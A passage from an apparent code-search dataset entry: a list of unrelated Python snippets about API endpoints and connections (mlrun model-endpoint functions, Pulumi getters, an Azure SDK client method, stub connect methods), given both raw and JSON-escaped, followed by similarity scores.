dictionary\n model_endpoint_store = get_model_endpoint_store(\n project=project,\n access_key=auth_info.data_session,\n secret_provider=mlrun.api.crud.secrets.get_project_secret_provider(\n project=project\n ),\n )\n\n model_endpoint_record = model_endpoint_store.get_model_endpoint(\n endpoint_id=endpoint_id,\n )\n\n # Convert to `ModelEndpoint` object\n model_endpoint_object = self._convert_into_model_endpoint_object(\n endpoint=model_endpoint_record, feature_analysis=feature_analysis\n )\n\n # If time metrics were provided, retrieve the results from the time series DB\n if metrics:\n self._add_real_time_metrics(\n model_endpoint_store=model_endpoint_store,\n model_endpoint_object=model_endpoint_object,\n metrics=metrics,\n start=start,\n end=end,\n )\n\n return model_endpoint_object","def connect(self) -> None:\n ...","def list_model_endpoints(\n self,\n auth_info: mlrun.common.schemas.AuthInfo,\n project: str,\n model: str = None,\n function: str = None,\n labels: typing.List[str] = None,\n metrics: typing.List[str] = None,\n start: str = \"now-1h\",\n end: str = \"now\",\n top_level: bool = False,\n uids: typing.List[str] = None,\n ) -> mlrun.common.schemas.ModelEndpointList:\n\n logger.info(\n \"Listing endpoints\",\n project=project,\n model=model,\n function=function,\n labels=labels,\n metrics=metrics,\n start=start,\n end=end,\n top_level=top_level,\n uids=uids,\n )\n\n # Initialize an empty model endpoints list\n endpoint_list = mlrun.common.schemas.ModelEndpointList(endpoints=[])\n\n # Generate a model endpoint store object and get a list of model endpoint dictionaries\n endpoint_store = get_model_endpoint_store(\n access_key=auth_info.data_session,\n project=project,\n secret_provider=mlrun.api.crud.secrets.get_project_secret_provider(\n project=project\n ),\n )\n\n endpoint_dictionary_list = endpoint_store.list_model_endpoints(\n function=function,\n model=model,\n labels=labels,\n top_level=top_level,\n uids=uids,\n )\n\n for endpoint_dict in endpoint_dictionary_list:\n # Convert to `ModelEndpoint` object\n endpoint_obj = self._convert_into_model_endpoint_object(\n endpoint=endpoint_dict\n )\n\n # If time metrics were provided, retrieve the results from the time series DB\n if metrics:\n self._add_real_time_metrics(\n model_endpoint_store=endpoint_store,\n model_endpoint_object=endpoint_obj,\n metrics=metrics,\n start=start,\n end=end,\n )\n\n # Add the `ModelEndpoint` object into the model endpoints list\n endpoint_list.endpoints.append(endpoint_obj)\n\n return endpoint_list","def endpoints(self, endpoints):\n\n self._endpoints = endpoints","def get_blueprint():\n return REQUEST_API","def swagger_definition(self, base_path=None, **kwargs):\n return Swagger(\n {\n \"info\": Info(\n {\n key: kwargs.get(key, self.DEFAULT_INFO.get(key))\n for key in Info.fields.keys()\n if key in kwargs or key in self.DEFAULT_INFO\n }\n ),\n \"paths\": self.paths,\n \"swagger\": \"2.0\",\n \"basePath\": base_path,\n }\n ).to_primitive()","def __init__(__self__, *,\n address: pulumi.Input[str],\n endpoint_id: pulumi.Input[str],\n port_ranges: Optional[pulumi.Input[Sequence[pulumi.Input['CustomRoutingEndpointTrafficPolicyPortRangeArgs']]]] = None):\n pulumi.set(__self__, \"address\", address)\n pulumi.set(__self__, \"endpoint_id\", endpoint_id)\n if port_ranges is not None:\n pulumi.set(__self__, \"port_ranges\", port_ranges)","def get_definition(self):\n return self.client._perform_json(\n \"GET\", \"/admin/connections/%s\" % self.name)","def __SetEndpoints(self,\n version):\n\n if version==2:\n endpoints = {\"heads\":'top-headlines?',\"search\":'everything?',\"source\":'sources?'}\n elif version==1:\n endpoints = {\"search\":'articles?',\"source\":'sources?'}\n\n return endpoints","def describe_endpoint_config(EndpointConfigName=None):\n pass","def endpoint(self) -> pulumi.Output[str]:\n return pulumi.get(self, \"endpoint\")","def endpoint(self) -> pulumi.Output[str]:\n return pulumi.get(self, \"endpoint\")","def _api_endpoint(self) -> str:\n return ApiEndpoints.ARTIFACT_TYPES.value","def __repr__(self):\n return 'REST client %s://%s:%s' % (\n self.__protocol, self.host, self.port)","def request_endpoints(self):\n\n endpoints_url = self.std[\"api\"]\n endpoints_paramd = {\n \"access_token\": self.std[\"access_token\"]\n }\n\n endpoints_response = requests.get(url=endpoints_url, params=endpoints_paramd)\n print endpoints_response\n self.endpointd = endpoints_response.json()[0]","def __init__(self):\n self.swagger_types = {\n 'source_contact': 'AddressableEntityRef',\n 'target_contact': 'AddressableEntityRef',\n 'resulting_contact': 'AddressableEntityRef'\n }\n\n self.attribute_map = {\n 'source_contact': 'sourceContact',\n 'target_contact': 'targetContact',\n 'resulting_contact': 'resultingContact'\n }\n\n self._source_contact = None\n self._target_contact = None\n self._resulting_contact = None","def endpoint_list(self):\n _, body = self.request('/v1.1/endpoints', 'GET')\n return body","def endpoint_config(self, endpoint_name=None):\n if endpoint_name is None:\n _, body = self.request('/v1.1/endpoint', 'GET')\n else:\n _, body = self.request('/v1.1/endpoints/%s' % endpoint_name, 'GET')\n return body","def endpoints(self):\n return self.settings[\"endpoints\"]","def _identify_connection(self):\n pass #nothing to identify...\n #raise NotImplementedError(\"Implement!\")","def __init__(self): # noqa: E501\n self.openapi_types = {\n }\n\n self.attribute_map = {\n }","def _connect(self):\n raise NotImplementedError(\"ERROR: Unimplemented function.\")","def connect(self):\n\t\tpass","def connect(self, info_handler=None):\n pass"],"string":"[\n \"def get_endpoint(self, *args):\\n\\t\\traise NotImplementedError\",\n \"def _connectModel(self):\\n pass\",\n \"def endpoint(self):\\n return self.Endpoint\",\n \"def get_endpoint(self, oid):\\n return self.get_object(CatalogEndpoint, ModelEndpoint, oid)\",\n \"def create_model_endpoint(\\n cls,\\n db_session: sqlalchemy.orm.Session,\\n model_endpoint: mlrun.common.schemas.ModelEndpoint,\\n ) -> mlrun.common.schemas.ModelEndpoint:\\n\\n if model_endpoint.spec.model_uri or model_endpoint.status.feature_stats:\\n logger.info(\\n \\\"Getting feature metadata\\\",\\n project=model_endpoint.metadata.project,\\n model=model_endpoint.spec.model,\\n function=model_endpoint.spec.function_uri,\\n model_uri=model_endpoint.spec.model_uri,\\n )\\n\\n # If model artifact was supplied, grab model metadata from artifact\\n if model_endpoint.spec.model_uri:\\n logger.info(\\n \\\"Getting model object, inferring column names and collecting feature stats\\\"\\n )\\n run_db = mlrun.api.api.utils.get_run_db_instance(db_session)\\n model_obj: mlrun.artifacts.ModelArtifact = (\\n mlrun.datastore.store_resources.get_store_resource(\\n model_endpoint.spec.model_uri, db=run_db\\n )\\n )\\n\\n # Get stats from model object if not found in model endpoint object\\n if not model_endpoint.status.feature_stats and hasattr(\\n model_obj, \\\"feature_stats\\\"\\n ):\\n if model_obj.spec.feature_stats:\\n mlrun.common.model_monitoring.helpers.pad_features_hist(\\n mlrun.common.model_monitoring.helpers.FeatureStats(\\n model_obj.spec.feature_stats\\n )\\n )\\n model_endpoint.status.feature_stats = model_obj.spec.feature_stats\\n # Get labels from model object if not found in model endpoint object\\n if not model_endpoint.spec.label_names and model_obj.spec.outputs:\\n model_label_names = [\\n mlrun.api.crud.model_monitoring.helpers.clean_feature_name(f.name)\\n for f in model_obj.spec.outputs\\n ]\\n model_endpoint.spec.label_names = model_label_names\\n\\n # Get algorithm from model object if not found in model endpoint object\\n if not model_endpoint.spec.algorithm and model_obj.spec.algorithm:\\n model_endpoint.spec.algorithm = model_obj.spec.algorithm\\n\\n # Create monitoring feature set if monitoring found in model endpoint object\\n if (\\n model_endpoint.spec.monitoring_mode\\n == mlrun.common.schemas.model_monitoring.ModelMonitoringMode.enabled.value\\n ):\\n monitoring_feature_set = cls.create_monitoring_feature_set(\\n model_endpoint, model_obj, db_session, run_db\\n )\\n # Link model endpoint object to feature set URI\\n model_endpoint.status.monitoring_feature_set_uri = (\\n monitoring_feature_set.uri\\n )\\n\\n # If feature_stats was either populated by model_uri or by manual input, make sure to keep the names\\n # of the features. If feature_names was supplied, replace the names set in feature_stats, otherwise - make\\n # sure to keep a clean version of the names\\n if model_endpoint.status.feature_stats:\\n logger.info(\\\"Feature stats found, cleaning feature names\\\")\\n if model_endpoint.spec.feature_names:\\n # Validate that the length of feature_stats is equal to the length of feature_names and label_names\\n cls._validate_length_features_and_labels(model_endpoint=model_endpoint)\\n\\n # Clean feature names in both feature_stats and feature_names\\n (\\n model_endpoint.status.feature_stats,\\n model_endpoint.spec.feature_names,\\n ) = cls._adjust_feature_names_and_stats(model_endpoint=model_endpoint)\\n\\n logger.info(\\n \\\"Done preparing feature names and stats\\\",\\n feature_names=model_endpoint.spec.feature_names,\\n )\\n\\n # If none of the above was supplied, feature names will be assigned on first contact with the model monitoring\\n # system\\n logger.info(\\\"Creating model endpoint\\\", endpoint_id=model_endpoint.metadata.uid)\\n\\n # Write the new model endpoint\\n model_endpoint_store = get_model_endpoint_store(\\n project=model_endpoint.metadata.project,\\n secret_provider=mlrun.api.crud.secrets.get_project_secret_provider(\\n project=model_endpoint.metadata.project\\n ),\\n )\\n model_endpoint_store.write_model_endpoint(endpoint=model_endpoint.flat_dict())\\n\\n logger.info(\\\"Model endpoint created\\\", endpoint_id=model_endpoint.metadata.uid)\\n\\n return model_endpoint\",\n \"def __init__(self, endpoint_a, endpoint_b):\\n self.endpoint_a = endpoint_a\\n self.endpoint_b = endpoint_b\",\n \"async def connections_endpoints(request: web.BaseRequest):\\n context: AdminRequestContext = request[\\\"context\\\"]\\n connection_id = request.match_info[\\\"conn_id\\\"]\\n\\n profile = context.profile\\n connection_mgr = ConnectionManager(profile)\\n try:\\n endpoints = await connection_mgr.get_endpoints(connection_id)\\n except StorageNotFoundError as err:\\n raise web.HTTPNotFound(reason=err.roll_up) from err\\n except (BaseModelError, StorageError, WalletError) as err:\\n raise web.HTTPBadRequest(reason=err.roll_up) from err\\n\\n return web.json_response(dict(zip((\\\"my_endpoint\\\", \\\"their_endpoint\\\"), endpoints)))\",\n \"def RemoteEndPoint(self) -> _n_5_t_1:\",\n \"def RemoteEndPoint(self) -> _n_5_t_1:\",\n \"def RemoteEndPoint(self) -> _n_5_t_2:\",\n \"def custom_service_endpoint(self) -> global___Snippet.ClientInitialization.ServiceEndpoint:\",\n \"def endpoint(self):\\r\\n return self._endpoint\",\n \"def LocalEndpoint(self) -> _n_5_t_1:\",\n \"def __get_endpoint(self):\\n return self._endpoint\",\n \"def protocol(self):\\n ...\",\n \"def get_api_endpoint(self):\\n return \\\"tcp://%s:%s\\\" % (self.ip, self.port)\",\n \"def get_endpoint(self):\\r\\n return self._endpoint\",\n \"def _convert_into_model_endpoint_object(\\n endpoint: typing.Dict[str, typing.Any], feature_analysis: bool = False\\n ) -> mlrun.common.schemas.ModelEndpoint:\\n\\n # Convert into `ModelEndpoint` object\\n endpoint_obj = mlrun.common.schemas.ModelEndpoint().from_flat_dict(endpoint)\\n\\n # If feature analysis was applied, add feature stats and current stats to the model endpoint result\\n if feature_analysis and endpoint_obj.spec.feature_names:\\n endpoint_features = (\\n mlrun.api.crud.model_monitoring.deployment.get_endpoint_features(\\n feature_names=endpoint_obj.spec.feature_names,\\n feature_stats=endpoint_obj.status.feature_stats,\\n current_stats=endpoint_obj.status.current_stats,\\n )\\n )\\n if endpoint_features:\\n endpoint_obj.status.features = endpoint_features\\n # Add the latest drift measures results (calculated by the model monitoring batch)\\n drift_measures = mlrun.api.crud.model_monitoring.helpers.json_loads_if_not_none(\\n endpoint.get(\\n mlrun.common.schemas.model_monitoring.EventFieldType.DRIFT_MEASURES\\n )\\n )\\n endpoint_obj.status.drift_measures = drift_measures\\n\\n return endpoint_obj\",\n \"def from_dict(cls, dikt) -> 'ConnectionEndPoint':\\n return util.deserialize_model(dikt, cls)\",\n \"def get_endpoint(cls):\\n raise NotImplementedError(\\n \\\"%s must have implemented get_endpoint.\\\" % cls.__name__,\\n )\",\n \"def connected_endpoint(self):\\n try:\\n if self._connected_interface:\\n return self._connected_interface\\n except ObjectDoesNotExist:\\n pass\\n try:\\n if self._connected_circuittermination:\\n return self._connected_circuittermination\\n except ObjectDoesNotExist:\\n pass\\n return None\",\n \"def build_endpoint(self, **kwargs):\\n\\n raise NotImplementedError()\",\n \"def connection(self):\\n pass\",\n \"def get_endpoints(self):\\r\\n return ENDPOINTS\",\n \"def endpoints(self):\\n return self[\\\"endpoints\\\"]\",\n \"def get_private_endpoint_connection(\\n self,\\n resource_group_name, # type: str\\n name, # type: str\\n private_endpoint_connection_name, # type: str\\n **kwargs # type: Any\\n ):\\n # type: (...) -> \\\"_models.RemotePrivateEndpointConnectionARMResource\\\"\\n cls = kwargs.pop('cls', None) # type: ClsType[\\\"_models.RemotePrivateEndpointConnectionARMResource\\\"]\\n error_map = {\\n 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError\\n }\\n error_map.update(kwargs.pop('error_map', {}))\\n api_version = \\\"2021-01-01\\\"\\n accept = \\\"application/json\\\"\\n\\n # Construct URL\\n url = self.get_private_endpoint_connection.metadata['url'] # type: ignore\\n path_format_arguments = {\\n 'resourceGroupName': self._serialize.url(\\\"resource_group_name\\\", resource_group_name, 'str', max_length=90, min_length=1, pattern=r'^[-\\\\w\\\\._\\\\(\\\\)]+[^\\\\.]$'),\\n 'name': self._serialize.url(\\\"name\\\", name, 'str'),\\n 'privateEndpointConnectionName': self._serialize.url(\\\"private_endpoint_connection_name\\\", private_endpoint_connection_name, 'str'),\\n 'subscriptionId': self._serialize.url(\\\"self._config.subscription_id\\\", self._config.subscription_id, 'str'),\\n }\\n url = self._client.format_url(url, **path_format_arguments)\\n\\n # Construct parameters\\n query_parameters = {} # type: Dict[str, Any]\\n query_parameters['api-version'] = self._serialize.query(\\\"api_version\\\", api_version, 'str')\\n\\n # Construct headers\\n header_parameters = {} # type: Dict[str, Any]\\n header_parameters['Accept'] = self._serialize.header(\\\"accept\\\", accept, 'str')\\n\\n request = self._client.get(url, query_parameters, header_parameters)\\n pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)\\n response = pipeline_response.http_response\\n\\n if response.status_code not in [200]:\\n map_error(status_code=response.status_code, response=response, error_map=error_map)\\n error = self._deserialize.failsafe_deserialize(_models.DefaultErrorResponse, response)\\n raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat)\\n\\n deserialized = self._deserialize('RemotePrivateEndpointConnectionARMResource', pipeline_response)\\n\\n if cls:\\n return cls(pipeline_response, deserialized, {})\\n\\n return deserialized\",\n \"def __init__(__self__, *,\\n endpoint_type: pulumi.Input[str],\\n resource_id: Optional[pulumi.Input[str]] = None):\\n pulumi.set(__self__, \\\"endpoint_type\\\", 'HybridConnection')\\n if resource_id is not None:\\n pulumi.set(__self__, \\\"resource_id\\\", resource_id)\",\n \"def connect(self, **kwargs):\\n pass\",\n \"def endpoint(self):\\n return f'Endpoint = {self._peer.endpoint}'\",\n \"def __init__(self, name: str, hw_device: Spinsolve): # type:ignore\\n super().__init__(name, hw_device)\\n # Solvent\\n self.add_api_route(\\\"/solvent\\\", self.hw_device.get_solvent, methods=[\\\"GET\\\"])\\n self.add_api_route(\\\"/solvent\\\", self.hw_device.set_solvent, methods=[\\\"PUT\\\"])\\n # Sample name\\n self.add_api_route(\\\"/sample-name\\\", self.hw_device.get_sample, methods=[\\\"GET\\\"])\\n self.add_api_route(\\\"/sample-name\\\", self.hw_device.set_sample, methods=[\\\"PUT\\\"])\\n # User data\\n self.add_api_route(\\\"/user-data\\\", self.hw_device.get_user_data, methods=[\\\"GET\\\"])\\n self.add_api_route(\\\"/user-data\\\", self.hw_device.set_user_data, methods=[\\\"PUT\\\"])\\n # Protocols\\n self.add_api_route(\\n \\\"/protocol-list\\\", self.hw_device.list_protocols, methods=[\\\"GET\\\"]\\n )\\n self.add_api_route(\\n \\\"/spectrum-folder\\\", self.hw_device.get_result_folder, methods=[\\\"GET\\\"]\\n )\\n self.add_api_route(\\n \\\"/is-busy\\\", self.hw_device.is_protocol_running, methods=[\\\"GET\\\"]\\n )\",\n \"def get_endpoints(self):\\n url = self.urlobject_single.format(self._cb.credentials.org_key, self._model_unique_id) + \\\"/endpoints\\\"\\n resp = self._cb.get_object(url)\\n return resp.get(\\\"results\\\", [])\",\n \"def connect(self):\\n raise NotImplementedError\",\n \"def connect(self):\\n raise NotImplementedError\",\n \"def get_one(self, endpoint_ident):\\n context = pecan.request.context\\n endpoint = api_utils.get_resource('Endpoint', endpoint_ident)\\n return Endpoint.convert_with_links(endpoint)\",\n \"def connect(self, **kwargs):\\n raise NotImplementedError\",\n \"def connect(self, dbapi_connection, connection_record):\",\n \"def describe_endpoint(EndpointName=None):\\n pass\",\n \"def endpoint(self) -> str:\\n return pulumi.get(self, \\\"endpoint\\\")\",\n \"def endpoint(self) -> str:\\n return pulumi.get(self, \\\"endpoint\\\")\",\n \"def __init__(self, url = None, context = \\\"corbaserver\\\"):\\n self._initOrb (url)\\n self._makeClients (\\\"manipulation\\\", self.defaultClients, context)\",\n \"def endpoint(self) -> Optional[pulumi.Input[str]]:\\n return pulumi.get(self, \\\"endpoint\\\")\",\n \"def endpoint(self) -> Optional[pulumi.Input[str]]:\\n return pulumi.get(self, \\\"endpoint\\\")\",\n \"def set_Endpoint(self, value):\\n super(AddressValidationInputSet, self)._set_input('Endpoint', value)\",\n \"def _get_endpoint(self):\\n\\n self.endpoint = 'https://api.sumologic.com/api'\\n self.response = self.session.get('https://api.sumologic.com/api/v1/collectors') # Dummy call to get endpoint\\n endpoint = self.response.url.replace('/v1/collectors', '') # dirty hack to sanitise URI and retain domain\\n logger.info(\\\"SDK Endpoint {}\\\".format(str(endpoint)))\\n return endpoint\",\n \"def __init__(self, endpoint, project=None):\\n self.endpoint = endpoint\\n self.project = project\",\n \"def api_endpoint():\\n return 'localhost'\",\n \"def getEndpoint(self, tag):\\r\\n if tag in self.robots:\\r\\n return self.robots[tag]\\r\\n elif tag in self.containers:\\r\\n return self.containers[tag]\\r\\n else:\\r\\n raise InvalidRequest('Can not get a non existent endpoint '\\r\\n \\\"'{0}'.\\\".format(tag))\",\n \"def connect(self) -> None:\",\n \"def openapi(self) -> api.OpenAPISpec:\\n return self._get_model(model=api.OpenAPISpec)\",\n \"def connection(composition):\\n return Connection(BASE_URL, 'http://localhost')\",\n \"def connect(self, *args, **kwargs):\",\n \"def endpoint(self) -> str:\\n if self._endpoint:\\n return self._endpoint\\n elif self._controller_cls:\\n endpoint = f'{self._controller_cls.Meta.endpoint_prefix}.{self.method_name}'\\n return endpoint if not self.bp_name else f'{self.bp_name}.{endpoint}'\\n elif self.bp_name:\\n return f'{self.bp_name}.{self.method_name}'\\n return self.method_name\",\n \"def register_endpoints(api):\\n api.add_resource(EventList, '/events')\",\n \"def endpoints(self) -> pulumi.Input[Sequence[pulumi.Input['EndpointDependencyArgs']]]:\\n return pulumi.get(self, \\\"endpoints\\\")\",\n \"def connect(self):\",\n \"def connect(self):\",\n \"def _get_base_endpoint_name(self):\",\n \"def __init__(self, endpoint, playerport1, playerport2, controlport):\\n self.__endpoint = endpoint\\n self.__player1 = playerport1\\n self.__player2 = playerport2\\n self.__control = controlport\",\n \"def __init__(__self__, *,\\n endpoint_port: pulumi.Input[int],\\n listener_port: pulumi.Input[int]):\\n pulumi.set(__self__, \\\"endpoint_port\\\", endpoint_port)\\n pulumi.set(__self__, \\\"listener_port\\\", listener_port)\",\n \"def set_definition(self, description):\\n return self.client._perform_json(\\n \\\"PUT\\\", \\\"/admin/connections/%s\\\" % self.name,\\n body = description)\",\n \"def set_Endpoint(self, value):\\n super(ListOrdersInputSet, self)._set_input('Endpoint', value)\",\n \"def __init__(self, connection):\\n super().__init__(connection)\",\n \"def connected_endpoint(self):\\n try:\\n if self._connected_poweroutlet:\\n return self._connected_poweroutlet\\n except ObjectDoesNotExist:\\n pass\\n try:\\n if self._connected_powerfeed:\\n return self._connected_powerfeed\\n except ObjectDoesNotExist:\\n pass\\n return None\",\n \"def __init__(self, connection):\\n self.conn = connection\",\n \"def device_connect(self):\\n pass\",\n \"def create_endpoint(coriolis, name, platform_type, connection_info,\\n barbican=None, description=''):\\n # check provider type is installed server-side:\\n providers_dict = coriolis.providers.list().to_dict()\\n if platform_type not in providers_dict:\\n raise ValueError(\\n 'platform_type must be one of %s' % providers_dict.keys())\\n\\n # if Barbican is available, store the connection info in it:\\n if barbican:\\n secret_ref = store_barbican_secret_for_coriolis(\\n barbican, connection_info, name='Coriolis Endpoint %s' % name)\\n connection_info = {'secret_ref': secret_ref}\\n\\n # create the endpoint:\\n endpoint = coriolis.endpoints.create(\\n name, platform_type, connection_info, description)\\n\\n return endpoint\",\n \"def protocol(self):\\n\\n raise NotImplementedError()\",\n \"def __init__(self):\\n self.swagger_types = {\\n 'id_conta': 'int',\\n 'id_produto': 'int',\\n 'id_pessoa': 'int',\\n 'id_parentesco': 'int',\\n 'tipo_portador': 'str',\\n 'nome_impresso': 'str',\\n 'id_tipo_cartao': 'int',\\n 'flag_ativo': 'int',\\n 'data_cadastro_portador': 'str',\\n 'data_cancelamento_portador': 'str'\\n }\\n\\n self.attribute_map = {\\n 'id_conta': 'idConta',\\n 'id_produto': 'idProduto',\\n 'id_pessoa': 'idPessoa',\\n 'id_parentesco': 'idParentesco',\\n 'tipo_portador': 'tipoPortador',\\n 'nome_impresso': 'nomeImpresso',\\n 'id_tipo_cartao': 'idTipoCartao',\\n 'flag_ativo': 'flagAtivo',\\n 'data_cadastro_portador': 'dataCadastroPortador',\\n 'data_cancelamento_portador': 'dataCancelamentoPortador'\\n }\\n\\n self._id_conta = None\\n self._id_produto = None\\n self._id_pessoa = None\\n self._id_parentesco = None\\n self._tipo_portador = None\\n self._nome_impresso = None\\n self._id_tipo_cartao = None\\n self._flag_ativo = None\\n self._data_cadastro_portador = None\\n self._data_cancelamento_portador = None\",\n \"def connect(self):\\n pass\",\n \"def connect(self):\\n pass\",\n \"def connect(self):\\n pass\",\n \"def connect(self):\\n pass\",\n \"def connect(self):\\n pass\",\n \"def connect(self):\\n pass\",\n \"def connect(self):\\n pass\",\n \"def connect(self):\\n pass\",\n \"def connect(self):\\n pass\",\n \"def get_model_endpoint(\\n self,\\n auth_info: mlrun.common.schemas.AuthInfo,\\n project: str,\\n endpoint_id: str,\\n metrics: typing.List[str] = None,\\n start: str = \\\"now-1h\\\",\\n end: str = \\\"now\\\",\\n feature_analysis: bool = False,\\n ) -> mlrun.common.schemas.ModelEndpoint:\\n\\n logger.info(\\n \\\"Getting model endpoint record from DB\\\",\\n endpoint_id=endpoint_id,\\n )\\n\\n # Generate a model endpoint store object and get the model endpoint record as a dictionary\\n model_endpoint_store = get_model_endpoint_store(\\n project=project,\\n access_key=auth_info.data_session,\\n secret_provider=mlrun.api.crud.secrets.get_project_secret_provider(\\n project=project\\n ),\\n )\\n\\n model_endpoint_record = model_endpoint_store.get_model_endpoint(\\n endpoint_id=endpoint_id,\\n )\\n\\n # Convert to `ModelEndpoint` object\\n model_endpoint_object = self._convert_into_model_endpoint_object(\\n endpoint=model_endpoint_record, feature_analysis=feature_analysis\\n )\\n\\n # If time metrics were provided, retrieve the results from the time series DB\\n if metrics:\\n self._add_real_time_metrics(\\n model_endpoint_store=model_endpoint_store,\\n model_endpoint_object=model_endpoint_object,\\n metrics=metrics,\\n start=start,\\n end=end,\\n )\\n\\n return model_endpoint_object\",\n \"def connect(self) -> None:\\n ...\",\n \"def list_model_endpoints(\\n self,\\n auth_info: mlrun.common.schemas.AuthInfo,\\n project: str,\\n model: str = None,\\n function: str = None,\\n labels: typing.List[str] = None,\\n metrics: typing.List[str] = None,\\n start: str = \\\"now-1h\\\",\\n end: str = \\\"now\\\",\\n top_level: bool = False,\\n uids: typing.List[str] = None,\\n ) -> mlrun.common.schemas.ModelEndpointList:\\n\\n logger.info(\\n \\\"Listing endpoints\\\",\\n project=project,\\n model=model,\\n function=function,\\n labels=labels,\\n metrics=metrics,\\n start=start,\\n end=end,\\n top_level=top_level,\\n uids=uids,\\n )\\n\\n # Initialize an empty model endpoints list\\n endpoint_list = mlrun.common.schemas.ModelEndpointList(endpoints=[])\\n\\n # Generate a model endpoint store object and get a list of model endpoint dictionaries\\n endpoint_store = get_model_endpoint_store(\\n access_key=auth_info.data_session,\\n project=project,\\n secret_provider=mlrun.api.crud.secrets.get_project_secret_provider(\\n project=project\\n ),\\n )\\n\\n endpoint_dictionary_list = endpoint_store.list_model_endpoints(\\n function=function,\\n model=model,\\n labels=labels,\\n top_level=top_level,\\n uids=uids,\\n )\\n\\n for endpoint_dict in endpoint_dictionary_list:\\n # Convert to `ModelEndpoint` object\\n endpoint_obj = self._convert_into_model_endpoint_object(\\n endpoint=endpoint_dict\\n )\\n\\n # If time metrics were provided, retrieve the results from the time series DB\\n if metrics:\\n self._add_real_time_metrics(\\n model_endpoint_store=endpoint_store,\\n model_endpoint_object=endpoint_obj,\\n metrics=metrics,\\n start=start,\\n end=end,\\n )\\n\\n # Add the `ModelEndpoint` object into the model endpoints list\\n endpoint_list.endpoints.append(endpoint_obj)\\n\\n return endpoint_list\",\n \"def endpoints(self, endpoints):\\n\\n self._endpoints = endpoints\",\n \"def get_blueprint():\\n return REQUEST_API\",\n \"def swagger_definition(self, base_path=None, **kwargs):\\n return Swagger(\\n {\\n \\\"info\\\": Info(\\n {\\n key: kwargs.get(key, self.DEFAULT_INFO.get(key))\\n for key in Info.fields.keys()\\n if key in kwargs or key in self.DEFAULT_INFO\\n }\\n ),\\n \\\"paths\\\": self.paths,\\n \\\"swagger\\\": \\\"2.0\\\",\\n \\\"basePath\\\": base_path,\\n }\\n ).to_primitive()\",\n \"def __init__(__self__, *,\\n address: pulumi.Input[str],\\n endpoint_id: pulumi.Input[str],\\n port_ranges: Optional[pulumi.Input[Sequence[pulumi.Input['CustomRoutingEndpointTrafficPolicyPortRangeArgs']]]] = None):\\n pulumi.set(__self__, \\\"address\\\", address)\\n pulumi.set(__self__, \\\"endpoint_id\\\", endpoint_id)\\n if port_ranges is not None:\\n pulumi.set(__self__, \\\"port_ranges\\\", port_ranges)\",\n \"def get_definition(self):\\n return self.client._perform_json(\\n \\\"GET\\\", \\\"/admin/connections/%s\\\" % self.name)\",\n \"def __SetEndpoints(self,\\n version):\\n\\n if version==2:\\n endpoints = {\\\"heads\\\":'top-headlines?',\\\"search\\\":'everything?',\\\"source\\\":'sources?'}\\n elif version==1:\\n endpoints = {\\\"search\\\":'articles?',\\\"source\\\":'sources?'}\\n\\n return endpoints\",\n \"def describe_endpoint_config(EndpointConfigName=None):\\n pass\",\n \"def endpoint(self) -> pulumi.Output[str]:\\n return pulumi.get(self, \\\"endpoint\\\")\",\n \"def endpoint(self) -> pulumi.Output[str]:\\n return pulumi.get(self, \\\"endpoint\\\")\",\n \"def _api_endpoint(self) -> str:\\n return ApiEndpoints.ARTIFACT_TYPES.value\",\n \"def __repr__(self):\\n return 'REST client %s://%s:%s' % (\\n self.__protocol, self.host, self.port)\",\n \"def request_endpoints(self):\\n\\n endpoints_url = self.std[\\\"api\\\"]\\n endpoints_paramd = {\\n \\\"access_token\\\": self.std[\\\"access_token\\\"]\\n }\\n\\n endpoints_response = requests.get(url=endpoints_url, params=endpoints_paramd)\\n print endpoints_response\\n self.endpointd = endpoints_response.json()[0]\",\n \"def __init__(self):\\n self.swagger_types = {\\n 'source_contact': 'AddressableEntityRef',\\n 'target_contact': 'AddressableEntityRef',\\n 'resulting_contact': 'AddressableEntityRef'\\n }\\n\\n self.attribute_map = {\\n 'source_contact': 'sourceContact',\\n 'target_contact': 'targetContact',\\n 'resulting_contact': 'resultingContact'\\n }\\n\\n self._source_contact = None\\n self._target_contact = None\\n self._resulting_contact = None\",\n \"def endpoint_list(self):\\n _, body = self.request('/v1.1/endpoints', 'GET')\\n return body\",\n \"def endpoint_config(self, endpoint_name=None):\\n if endpoint_name is None:\\n _, body = self.request('/v1.1/endpoint', 'GET')\\n else:\\n _, body = self.request('/v1.1/endpoints/%s' % endpoint_name, 'GET')\\n return body\",\n \"def endpoints(self):\\n return self.settings[\\\"endpoints\\\"]\",\n \"def _identify_connection(self):\\n pass #nothing to identify...\\n #raise NotImplementedError(\\\"Implement!\\\")\",\n \"def __init__(self): # noqa: E501\\n self.openapi_types = {\\n }\\n\\n self.attribute_map = {\\n }\",\n \"def _connect(self):\\n raise NotImplementedError(\\\"ERROR: Unimplemented function.\\\")\",\n \"def connect(self):\\n\\t\\tpass\",\n \"def connect(self, info_handler=None):\\n pass\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.5856607","0.5759765","0.57243824","0.5684644","0.566107","0.5629413","0.55703115","0.55450535","0.55450535","0.553446","0.5505308","0.55020016","0.54950386","0.54667014","0.54559326","0.5441568","0.54361737","0.5416471","0.5397898","0.5392145","0.53609395","0.535997","0.5309368","0.524731","0.5224728","0.52169335","0.52145565","0.5204595","0.5202115","0.5191959","0.5163379","0.5163006","0.5163006","0.51540416","0.5148012","0.5146974","0.5145648","0.5143113","0.5143113","0.51298386","0.5127998","0.5127998","0.509057","0.5087482","0.5083448","0.5078595","0.5072599","0.5061761","0.50598526","0.5053639","0.5047231","0.5038535","0.5038301","0.5013467","0.5009779","0.5009779","0.500894","0.50084776","0.5008458","0.50068134","0.49966776","0.4982047","0.49775007","0.49717277","0.49690798","0.49623346","0.49445194","0.49425584","0.49276936","0.49276936","0.49276936","0.49276936","0.49276936","0.49276936","0.49276936","0.49276936","0.49227124","0.4919696","0.49042422","0.4896733","0.4893745","0.48882997","0.48737845","0.48684204","0.48597026","0.48571312","0.4853434","0.48517433","0.48517433","0.48452097","0.48430777","0.48418063","0.4841592","0.48327622","0.48319498","0.48299983","0.48244697","0.48234367","0.48115993","0.48114458","0.48069793"],"string":"[\n \"0.5856607\",\n \"0.5759765\",\n \"0.57243824\",\n \"0.5684644\",\n \"0.566107\",\n \"0.5629413\",\n \"0.55703115\",\n \"0.55450535\",\n \"0.55450535\",\n \"0.553446\",\n \"0.5505308\",\n \"0.55020016\",\n \"0.54950386\",\n \"0.54667014\",\n \"0.54559326\",\n \"0.5441568\",\n 